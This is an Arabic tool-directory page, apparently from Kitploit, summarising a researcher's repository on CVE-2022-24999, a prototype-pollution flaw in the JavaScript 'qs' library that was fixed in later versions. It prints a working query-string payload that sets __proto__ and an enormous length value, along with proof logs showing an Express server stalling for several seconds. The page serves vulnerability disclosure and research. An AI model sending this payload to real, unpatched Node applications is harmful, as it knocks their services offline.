Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-24999 — "qs" ثغرة تسمم النموذج الأولي ( CVE-2022-24999 ) | Kitploit
أدوات/GitHubGitHub/9pings/cve-2022-24999
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHub9pings/cve-2022-24999

CVE-2022-24999

"qs" ثغرة تسمم النموذج الأولي ( CVE-2022-24999 )

عرض المستودع
83منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-24999

يحتوي هذا المستودع على عينات استغلال للثغرة التي وجدناها في مكتبة JS "qs" في ديسمبر 2021.

  • تم إصلاح هذه الثغرة في express v4.17.3 و qs v6.10.3 v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3, و v6.2.4.

قنابل المصفوفات والسلاسل النصية في qs

الإصدارات الضعيفة من "qs" تسمح بإنشاء خصائص "proto" على كائنات JS الناتجة.

من خلال تعيين مصفوفة في الخاصية “__ proto__”، تمكنا من إنشاء كائنات "شبيهة بالمصفوفة".

بما أن الكائنات الناتجة ترث النموذج الأولي "Array"، فإنها تعرض دوال Array الأصلية.

ولكن بما أنها لا تزال كائنات، فإن "qs" تسمح بتعيين خاصية "length" عليها.

كمثال، ستقوم الحمولة التالية بإنشاء هذا النوع من المصفوفة "الخبيثة":

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

وبالتالي، فإن تعيين قيمة "length" غير معقولة عليها سيؤدي إلى تجميد عملية node بمجرد محاولة تحويلها إلى قيم نصية أو استدعاء معظم دوال Array الأصلية.

هذا يعرض أي تطبيق Node يستخدم إصدارًا ضعيفًا من "qs"، مع تكوين Express الافتراضي وبدون نظام تحقق قوي لهجمات DOS التطبيقية.

فيما يلي مثال على سجلات الإثبات في ./express-qs-string-bomb:

root@kitploit:~
Send payload :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params  { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123" 
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s

سلوكيات قابلة للاستغلال أخرى

سمح لنا تحليلنا أيضًا برؤية أن طرق استغلال أخرى كانت ممكنة.

نصف بعضًا منها في دليل ./qs-vulns.

الشكر

BRAUN Nathanael & BRISSAUD Johan
لـ EY Security، فرنسا

تنزيل الأداة